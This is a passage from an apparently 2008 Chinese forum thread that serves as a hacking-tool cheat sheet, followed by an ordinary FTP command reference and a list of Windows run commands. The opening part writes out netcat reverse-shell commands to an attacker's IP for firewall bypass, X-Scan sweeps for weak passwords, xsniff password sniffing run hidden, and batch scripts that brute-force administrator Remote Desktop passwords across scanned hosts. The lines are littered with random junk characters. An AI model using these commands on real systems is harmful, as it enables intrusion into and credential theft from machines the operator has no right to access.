  r: s$ V6 y( ^# enc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 2 P8 G# g# b( N
高级用法:
4 `& x+ E  J7 Y) X( D4 J/ o6 Gnc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止 ( b' [9 N( Y  |. c/ {
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt % a9 T/ O" Y* i& _% Y
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
# ~( Q, h  [: k. O( m2 l, l  rtype.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 * T* [- [, N/ E# c# e
本机上用:nc -l -p 本机端口
: ^# O) j; y6 J8 O( ?; d+ J在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K . |; V% V, m, J& F: t$ G
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 1 u' g) [! t7 r- n8 D" y! M0 [
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称 * I. Q& s, Y0 r$ t$ _3 W
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机 $ K2 w. I. R$ ]& `4 J; J: F
备 注:
; A0 F3 _+ b6 |$ s| 管道命令
7 _3 {, @0 D$ U1 {< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令 / d8 C# m6 F2 R( p& D1 f
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中 / x& D) j6 P3 D# ^7 B9 n1 B% }) p3 g
>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。
7 g- c; b8 V* C, I9 {. l! T% L如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。 6 |! w7 G5 c4 t/ A( ]) F. R
% e$ [4 n( B$ E. I4 G% [
#8 八: , ^* \) I! f1 B3 n" y
) n5 C$ @, J3 e: i, l$ M% X2 _. s
2、扫锚工具:xscan.exe 4 m; F/ G  E3 [1 O  U

& o3 E6 ^5 _% R基本格式
& F+ N# ~! B' k  W, E8 Kxscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
" T# z' K. B. Q" Z& p/ pxscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
- {  i, W2 F7 v8 U检测项目
2 a) i  ~& h/ ]" Y. _-active 检测主机是否存活 ! Z$ A) N8 A. P4 P' Y$ F& C
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
! P+ f6 ^4 E$ f  u' o2 E-port 检测常用服务的端口状态
: @1 c/ Z4 ^% z  J: K-ftp 检测FTP弱口令
0 j: B' C* g' q8 x; v5 S) }-pub 检测FTP服务匿名用户写权限 6 `. z2 _! V" |; g9 I6 r7 A
-pop3 检测POP3-Server弱口令
8 e9 j/ a% s! W3 O-smtp 检测SMTP-Server漏洞
( }. j' z9 X' a3 ^: a) V+ u7 Y-sql 检测SQL-Server弱口令
( T6 n7 A* S5 c# ^* ?- J-smb 检测NT-Server弱口令
4 d& A, I: y' ^& E: |-iis 检测IIS编码/解码漏洞 6 m+ y( c1 I1 |9 U# G2 u+ W- i2 ~
-cgi 检测CGI漏洞 ( s1 U0 ?% ?; t7 S: S. m: L* C
-nasl 加载Nessus攻击脚本 3 H* V, |4 U# H
-all 检测以上所有项目
6 B' a' R% d2 Z其它选项 " B3 c0 P4 z2 f4 m4 k1 j
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
9 [% m; F2 p% _-l 显示所有网络适配器
* ^% t; K, u6 D$ _$ K-v 显示详细扫描进度 # q, t8 G: T( w: Q$ W4 o3 I- J3 G
-p 跳过没有响应的主机
' l2 a1 a8 b1 ~# P) T! L-o 跳过没有检测到开放端口的主机 ) _( c/ }: j3 Q5 u& `
  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 0 m! g8 b8 O; j0 }# E
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
2 S! q6 C" w! d5 G: [& a! r用法示例
4 c% U: @; U% axscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机 2 v5 N' ~* |& J, \9 l
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
3 d: |1 {0 a  |; }  _1 H7 Ixscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机 6 m; W3 m# c4 @0 ^6 e5 G/ R

) O5 X- o, R" k8 x) n. y#9 九: 6 S  H' M6 @5 G4 s; A
0 t, y2 i% E; ]% ]' o. G
3、命令行方式嗅探器: xsniff.exe $ C, r- m+ X# g* _! |
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码 ; n/ Q9 L: L1 {- ^8 Z" \# {
参数说明 - q9 s1 ?9 X& f( H3 N! p; ?2 c
-tcp 输出TCP数据报
- `2 I5 P5 ]7 v/ b3 C; \-udp 输出UDP数据报 , x4 g4 ?0 s1 {# r6 W
-icmp 输出ICMP数据报
3 H  V5 u1 P" o& Q: H-pass 过滤密码信息
* A8 w8 ~: a$ y) g-hide 后台运行 ) a% \1 H/ N+ b/ N( v6 s
-host 解析主机名 8 w! z3 h4 u" B% }  ^4 e4 J
-addr IP地址 过滤IP地址
5 T/ Z" ]9 X$ {) n-port 端口 过滤端口 6 A% x: C* S' P, v6 x
-log 文件名 将输出保存到文件 2 X6 t, ^- I! j8 \5 @! {  N
-asc 以ASCII形式输出
5 f5 B( W9 C9 E; ]-hex 以16进制形式输出 ' Z7 B0 c: I; o/ t/ r) ^' a
用法示例
# i) ~/ ~6 K8 L) ^xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
7 v: F/ o, L. g9 J" ]7 @xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
7 z/ O2 O5 g- N9 ^  V4 a# M
3 }# |; m* w* p. m, [4 F4、终端服务密码破解: tscrack.exe 4 M7 n8 o) J& W& I$ x7 S
& g- S2 x6 y$ S; h- k
参数说明 4 F7 ?+ f5 e1 D) b$ Z5 R; j% v0 U
-h 显示使用帮助
" D" I) m' T% G% \; J1 F8 a-v 显示版本信息 + q/ Z8 V0 g# P/ F5 M+ ^0 o/ F) u
-s 在屏幕上打出解密能力 + J) P( K% L, u# _6 D" m
-b 密码错误时发出的声音 / a* M! T& o2 X! M4 G" _
-t 同是发出多个连接(多线程)
; c: c4 c. J0 \) h-N Prevent System Log entries on targeted server ) J1 e" |8 g  \* G1 n
-U 卸载移除tscrack组件 ; ^* r+ y+ M) y3 R  S6 E7 w8 }0 w
-f 使用-f后面的密码 0 C& z5 ~) r9 v7 W, r
-F 间隔时间(频率)
$ D8 G7 e: N+ y-l 使用-l后面的用户名
% c, L, `+ Y+ g/ y-w 使用-w后面的密码字典 0 |" x# T) I  t! Z
-p 使用-p后面的密码 + a4 `$ z9 R; b% i3 _
-D 登录主页面 : S+ Y' g$ n- f# M  D
用法示例 ) S* A9 N' U* c) r3 Y& P, K/ ]: k
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 5 L7 }" A( ^3 O3 f7 l3 o6 s9 O/ q9 V
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户   i& U4 r$ j" f4 G. H6 C
@if not exist ipcscan.txt goto noscan % X/ M, L( Q7 t0 f4 x: ^
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
) l9 N6 N6 a" s# C( Ynscan
- I* f$ ^2 T3 J- U' e  d@echo 3389.txt no find or scan faild
" a. b9 F% I2 G+ ^" X8 f0 G(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) & a$ a6 E8 r9 n- t# U8 W/ u. @) M
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat % `: P- B) E) O2 I/ k
@if not exist tscrack.exe goto noscan
* K/ o' m: |7 e+ F) t* e@tscrack %1 -l administrator -w pass.dic >>rouji.txt ; v4 x: ~( A6 r& S' ~
:noscan ( e! _# u$ C( T5 j7 n2 e
@echo tscrack.exe no find or scan faild " @( }5 t" I6 O7 k% J
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了) 5 a' t2 Q% ]$ K, N
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。
 楼主| 发表于 2008-7-26 08:24 | 显示全部楼层

继续............

5、其它:
" ]$ D2 P, z5 r  g( H/ l- d. r  w
) {( U  ~" z) ^" e0 O! t  YShutdown.exe - e' A) X3 y3 _5 G
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。) 2 d& E8 w0 D9 l3 Q4 K
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
: |8 p# r3 I: J# x- Hfpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息 % t. b" c) i5 m2 A5 @8 }, ~
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。 , T8 B, w/ m. n9 ?. T, {% k
OpenTelnet.exe (远程开启telnet工具)
8 ~; F; n" c9 _" iopentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。 % Q  v5 Q) c+ I+ m) ~9 b! a
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。 + Z: v7 `2 Z/ M' `) |) Z+ L
4 @3 ]- d* L" @' g
ResumeTelnet.exe (OpenTelnet附带的另一个工具) * j/ k/ ?) ~* b2 {- H" U, P: r  g
resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。 + `/ G% I5 y1 S6 W" y, u2 y
$ h  n$ p7 w2 m- m* G
#10 十: 6 H2 u  d$ P& l6 p4 M" j. s
( k1 `6 j* D- h/ P! N1 N/ O2 a
6、FTP命令详解: 7 W+ u" n  I5 V1 `$ Z

" N+ J. ]7 z8 ]* }' Y( t0 ~$ XFTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。
( y1 K0 |' v* ^# N" S8 m9 v: Y5 Y7 t/ I& j$ Z; {, l  u* U- r$ F
FTP的命令行格式为: 0 K& c( y9 H/ R: D$ q+ L
ftp -v -d -i -n -g [主机名] ,其中 : p# K% l1 `. n) A! k, M6 }

; G' v6 Y7 ^* `/ _-v 显示远程服务器的所有响应信息; 5 y0 d0 V2 v7 V$ b# ~0 P& l
- A) i; ~4 l+ W0 i" v
-n 限制ftp的自动登录,即不使用;.n etrc文件; 8 R* g* y. b# V0 T7 Y( y" J

- T% Z* _# f% T; e: y1 ^$ m-d 使用调试方式;
' Y, F( w  M9 E- S/ u- j0 Z9 U+ j" }) U$ S' |
-g 取消全局文件名。
# H% }" E) J5 ]# Y" B# Y7 x+ M+ M7 a$ J% E2 N: x
FTP使用的内部命令如下(中括号表示可选项): : \% [5 H6 m: v) p# W% e. \- Y7 L
2 I( m( X% A% }8 R$ `% G. c
1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2 U: o) l+ P% s& n& g1 e2.$ macro-ame[args]: 执行宏定义macro-name。
& r8 M# W6 C$ f' ?: r- j
; P: M% t& w6 x1 K: F3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
& `- ?6 [, M9 {% @& {' t$ B- z4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。 ; S  u9 E4 J( |& i

' J  j: Q9 g6 H, t5.ascii:使用ascii类型传输方式。
2 h* ?: h3 ]4 b  }- Y6.bell:每个命令执行完毕后计算机响铃一次。
( y# @' k3 k. m1 y1 N. @% H1 r" G, K$ `, _
7.bin:使用二进制文件传输方式。
: D" S( @; C3 c6 K8.bye:退出ftp会话过程。 ( N- n: Y( J$ c. p/ l
7 t/ O+ K1 x! T4 \0 k
9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。 ) [' Q! |& A; `- m2 ]1 h1 q
10.cd remote-dir:进入远程主机目录。 " \# O8 t: K$ ?$ N$ V+ y2 r

5 ^/ O' H( n& P1 p11.cdup:进入远程主机目录的父目录。
% `7 `" _) m3 }/ Z; D7 R" n12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。
  x: e+ [5 }" h- ?7 s" S% s. r% t6 y  V
13.close:中断与远程服务器的ftp会话(与open对应)。
6 C2 ~, j, s7 j8 X% |14.cr:使用asscii方式传输文件时,将回车换行转换为回行。
0 P4 W8 ^1 d5 r
) r; t$ D8 R) K3 P9 m  d. f15.delete remote-file:删除远程主机文件。 % ]* f1 B9 p0 H5 Z' O3 _
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。 ; @6 l2 k9 A9 d! W" p7 k

# P- j- [( c1 i8 k% y17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
4 q' i# E/ U9 b4 W0 W  \! w) d18.disconnection:同close。 ! Q* J- j2 P/ k

5 `9 I1 _& n: z# \8 i$ c4 _19.form format:将文件传输方式设置为format,缺省为file方式。
8 u% t+ G. U, N! u; n  _9 Y; z20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。
/ A# @' C6 S% h
9 ]6 l$ l9 g0 ~21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
+ p. p1 w3 g- D& w7 I# ^0 e; R& y22.hash:每传输1024字节,显示一个hash符号(#)。 9 l  d$ _" s/ ?, g
5 w1 {( T' h1 w: ^# ~2 E9 q
23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。 8 Q% N1 x  v' n9 ]6 |3 s9 r
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 1 [7 A: ^, v1 u5 y* {9 D
0 ^+ L6 x& p( R; k% y
25.image:设置二进制传输方式(同binary)。 * I$ q6 s4 j& B# i9 M, H3 [/ K
26.lcd[dir]:将本地工作目录切换至dir。 ( v# T' n6 o5 q8 E+ _/ a4 C% K4 H+ N$ f

/ b# J1 C' K0 \/ F27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
8 O+ c+ Q- ^" U2 x: n& t$ H# G! }28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。
' M9 Y/ A6 }7 {. t3 ]
, }$ ?% M$ e* r/ y- Q3 P4 V29.mdelete[remote-file]:删除远程主机文件。
* W6 h& B$ I% N; ]" {. c) M$ v30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。 , |& Z8 w& `3 O5 ]( A
  @: y, C+ `: N* l+ h2 J* V; H
31.mget remote-files:传输多个远程文件。
) P; h) ^8 ~8 J: y8 r32.mkdir dir-name:在远程主机中建一目录。
% A* z( Y7 m3 o/ O" c( _
* |3 v# @( g- d+ T* T33.mls remote-file local-file:同nlist,但可指定多个文件名。
6 A1 H1 [& t/ k$ Q) L34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。
$ O7 Q! Q5 _+ Y1 ?; e
3 t8 V8 Y, p) C5 v9 ~, R35.modtime file-name:显示远程主机文件的最后修改时间。
3 l9 ]6 p& _3 T2 F" B$ H& t36.mput local-file:将多个文件传输至远程主机。 / Y0 W7 F" ]) Q* t" ~3 _
1 r) r" t4 V+ Y. d( i
37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
$ q9 t( v' u; M, \* \, u38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。 5 b' W5 a" W1 R( X/ o1 m7 g

9 W9 |; A4 X( `5 j39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。 7 ~& l9 t3 V/ K) h# q1 l
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。 / v" B" }( l5 Z' d
1 J7 p8 G5 d2 y3 E6 T2 i
41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
; |8 z) G- S" m8 ]. l/ I0 ?9 c0 K$ S4 N42.passive:进入被动传输方式。
9 l  y" a- |0 R* u' x% ]1 H* z1 @" L$ [- @
43.prompt:设置多个文件传输时的交互提示。   _1 `! D) G. g! `' ~
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。 7 B0 q# o. a. T
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。 : w9 E5 ~0 \1 t+ b& T
46.pwd:显示远程主机的当前工作目录。   r  U6 D3 t3 p3 Q2 r
! s# s; [3 S# s, B- Q- J
47.quit:同bye,退出ftp会话。
8 K/ F0 w1 t$ L- I  W6 I1 R7 R- ]48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.
" C7 n1 i8 @8 p: B; s3 P1 ~* @) G$ K- O0 F6 ?& k
49.recv remote-file[local-file]:同get。   ?; m8 S% q- }7 c
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。
+ ^1 O# n$ a% q* @  a+ R) Q0 O6 O$ N9 b' q% P4 w
51.rhelp[cmd-name]:请求获得远程主机的帮助。
# d8 x7 ^/ A. [- S8 O! K& h5 I8 V52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。
* K: l2 E7 e: ?* K
3 b+ s7 T* S  [$ g: C$ M53.rename[from][to]:更改远程主机文件名。 8 z7 F$ U7 r1 T, V5 A
54.reset:清除回答队列。
& {% _- O) `. J: p$ {' `' c( O  c9 L, \4 O
55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
/ g  \+ b1 m' c# t56.rmdir dir-name:删除远程主机目录。
' i3 ^6 X& F$ M; g0 p5 Z+ i$ `8 O+ J$ C8 S
57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。 9 O' L( O5 s: i* K$ X* Z
58.send local-file[remote-file]:同put。 3 p" R' n7 x* z$ \5 E# x

0 z3 n& ~: g$ ]. h' k" K59.sendport:设置PORT命令的使用。 1 p* ]' G* p# C" u
60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。 $ D* A1 E5 |0 m) `: o9 G9 b

" J, z) D  j9 W. a& D. J" G61.size file-name:显示远程主机文件大小,如:site idle 7200。
" j5 [7 O# ~' E' ^$ T62.status:显示当前ftp状态。
( L6 E, y! r! s% }7 d3 b
& M# R2 }6 W% r8 k  l+ S) t63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
/ u+ m( k6 I5 F# M64.sunique:将远程主机文件名存储设置为只一(与runique对应)。 6 z3 [" X* }0 @2 \
% J: A" ~1 b% L2 W  l7 {; F
65.system:显示远程主机的操作系统类型。
* W" b: y4 W9 ?- X66.tenex:将文件传输类型设置为TENEX机的所需的类型。 # _; r/ ^; _8 y
& }3 Q: V9 }% M' m" F4 Y# ]3 @) @
67.tick:设置传输时的字节计数器。
' x+ C7 O7 j& M  ^68.trace:设置包跟踪。   _1 V! I/ G0 L0 ]& l9 q

3 L2 Q9 v. Z6 }9 ?69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
  S) h* G4 V/ o) n# ]: B% N5 k70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3 ' i. g1 {7 A9 q& D; s7 \! v
6 @8 ]/ a" ]2 O5 L6 ]
71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
4 N( a" I0 Y* V, Y9 m9 V* i0 e( h72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on. 5 N" A; n* s! a% b# t
! V/ I3 c$ i) Q6 \  R
73.?[cmd]:同help. 6 E$ d5 u; g/ c

2 b% G  Z" C) z#11 十一:
* S8 i; E& S8 o: u9 n# U* z1 c' b  h) c) [+ k6 u* G0 X
7:计算机运行命令全集 winver---------检查Windows版本
4 P( L7 Y! }1 S8 lwmimgmt.msc----打开windows管理体系结构 ' ?+ [1 ]4 c! j
wupdmgr--------windows更新程序 ( ?& o& x5 t" F; [
winver---------检查Windows版本 * g; W" ^' |7 l
wmimgmt.msc----打开windows管理体系结构   D* @/ @# B" e% Y' e
wupdmgr--------windows更新程序 ( i6 T' @7 \2 |1 {8 J3 m& \& ]; ?
wscript--------windows脚本宿主设置 * d& Y$ B' p* }/ N, z9 f$ n
write----------写字板winmsd-----系统信息 # {8 a; V0 W' _' [: K
wiaacmgr-------扫描仪和照相机向导
7 F5 v1 c7 v' i7 T3 @# lwinchat--------XP自带局域网聊天
7 }8 B2 Y. A: g8 J7 \0 Pmem.exe--------显示内存使用情况 ' v- V5 I0 N) T( d( X7 @2 L
Msconfig.exe---系统配置实用程序
* W+ M9 L) L4 u/ N. Omplayer2-------简易widnows media player 1 @' h# \+ o: |6 o( W) X9 ^
mspaint--------画图板
. c0 C% j- Y, m. h4 }3 S. r, {6 Kmstsc----------远程桌面连接
# A8 f/ ~, I( ]$ [mplayer2-------媒体播放机 * j3 F' ~  l) N3 W* B. {8 K
magnify--------放大镜实用程序 * f+ T% L+ a% _2 W8 l
mmc------------打开控制台
+ ]3 T8 m& v0 z: ~6 H0 I; gmobsync--------同步命令 # W  L% s, G7 h# [, E: t8 p
dxdiag---------检查DirectX信息 1 ^8 Z) U( M+ ^! }8 K. ^% t3 N
drwtsn32------ 系统医生 9 ~7 n' u: j, y6 V6 s6 I( s3 T" m. l- b: e) Q
devmgmt.msc--- 设备管理器 / ~# ], M, t. @* @
dfrg.msc-------磁盘碎片整理程序 ' q) U8 C! B' ?* m
diskmgmt.msc---磁盘管理实用程序 ) [& n. \! I& U: s1 o: j) y' s
dcomcnfg-------打开系统组件服务 ) R% a. i& y0 Y
ddeshare-------打开DDE共享设置 * d3 F! w! r; U# G# a. q
dvdplay--------DVD播放器 + D: u- S$ X1 E' D
net stop messenger-----停止信使服务
6 N' N( ~# N! o7 f3 Qnet start messenger----开始信使服务
$ R) l" a. g( V* Vnotepad--------打开记事本
6 d8 c" C2 p7 Hnslookup-------网络管理的工具向导 3 J5 d/ g; X" @; A, c/ W# J
ntbackup-------系统备份和还原
$ u% d/ A4 A( N  y, }narrator-------屏幕"讲述人"
# g' l" j9 o0 N- Z) \3 v8 n+ ?. J; U/ Yntmsmgr.msc----移动存储管理器
2 N# K/ w% U- I) Sntmsoprq.msc---移动存储管理员操作请求
7 |: K# C) p7 T# a$ [4 gnetstat -an----(TC)命令检查接口
8 D- R' H, E1 W7 }( qsyncapp--------创建一个公文包
- V  L* d& u/ G, Hsysedit--------系统配置编辑器 : n' J# M" X% N
sigverif-------文件签名验证程序 + w( c. a3 X9 p/ J  `+ a. N! r
sndrec32-------录音机
8 ?3 E6 z. H( _6 P" i0 X) }shrpubw--------创建共享文件夹 5 {4 a8 t3 W( h1 g4 S
secpol.msc-----本地安全策略 / I$ j6 k9 w2 P1 c
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
5 l/ }4 l/ E" j6 c4 w0 s; V; k6 m) hservices.msc---本地服务设置
! ]1 [# f* @5 [0 l7 \Sndvol32-------音量控制程序 , ~* j. M/ W0 v$ _% v" V2 Q
sfc.exe--------系统文件检查器
, E  R7 e/ M, I" q* Bsfc /scannow---windows文件保护
0 F/ o* `3 ^0 D4 |, N% qtsshutdn-------60秒倒计时关机命令
! b6 j8 b) i1 w' ?# h. F5 E4 L$ |tourstart------xp简介(安装完成后出现的漫游xp程序)
  z  j; v5 x  ^* Z; f5 F1 Ytaskmgr--------任务管理器
0 \. y9 G* H3 B5 z- [eventvwr-------事件查看器
. e: B6 u$ F9 `( V5 Weudcedit-------造字程序 & }6 f# c  }, y2 S* v* c+ K
explorer-------打开资源管理器
* A! `8 w5 V  x, P" Ipackager-------对象包装程序 * l; P! y. p4 _" }
perfmon.msc----计算机性能监测程序 1 N! a9 J% Y$ x/ W+ a
progman--------程序管理器
% K/ e. {  h3 ?, K* l1 h# c& xregedit.exe----注册表
$ |5 I" W0 f! S/ Y; o( k, Y9 nrsop.msc-------组策略结果集
' E) M8 M$ ?* W$ ?regedt32-------注册表编辑器 ( y$ E( \/ m8 C7 v9 h$ n
rononce -p ----15秒关机
' k  r  x: q3 K- v$ J2 Yregsvr32 /u *.dll----停止dll文件运行 0 R0 O, e0 c% q6 A
regsvr32 /u zipfldr.dll------取消ZIP支持 - b; }7 l9 |+ h% Y  D" L
cmd.exe--------CMD命令提示符 0 Z; A2 Y  ?+ ]0 i8 z
chkdsk.exe-----Chkdsk磁盘检查 ) h& q3 |! p1 C( l5 z& T
certmgr.msc----证书管理实用程序
0 i+ C" K! r# A, K; C$ scalc-----------启动计算器
4 {: i5 |8 N* @charmap--------启动字符映射表
5 A- z( t2 z* o7 [4 e$ G; D* }# z( ^cliconfg-------SQL SERVER 客户端网络实用程序 ; Y. y5 p7 `0 g/ M
Clipbrd--------剪贴板查看器
4 ~5 I( {, z. [. J; M; w  j9 @, Bconf-----------启动netmeeting 8 g; U7 g2 a" G
compmgmt.msc---计算机管理 3 c! M, R4 g% n% }+ v3 }) k
cleanmgr-------**整理 3 |6 c, I' N& O3 a6 {6 N
ciadv.msc------索引服务程序
. N& u0 M6 j1 r! N* N2 G1 ~osk------------打开屏幕键盘
3 j$ w* Y- @9 T; D/ y5 W' Yodbcad32-------ODBC数据源管理器
9 U. L" N, m4 Z% O- W: ~0 l4 noobe/msoobe /a----检查XP是否激活
5 ?. t4 A) A: x* a2 Xlusrmgr.msc----本机用户和组 ) Z. S7 d9 K5 E# ]+ g7 _. `
logoff---------注销命令
( ^$ b% N- J+ S/ Giexpress-------木马捆绑工具,系统自带 2 A5 u; h& v2 [8 \  z
Nslookup-------IP地址侦测器 * {6 M# y$ ~3 V) K8 {; {; f
fsmgmt.msc-----共享文件夹管理器
- W" H+ B+ L) g( zutilman--------辅助工具管理器
" b5 T1 H5 Y! Rgpedit.msc-----组策略
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|关于我们|sitemap|小黑屋|Archiver|手机版|UG网-UG技术论坛-青华数控模具培训学校 ( 粤ICP备15108561号 )

GMT+8, 2025-6-1 18:08 , Processed in 0.342978 second(s), 25 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表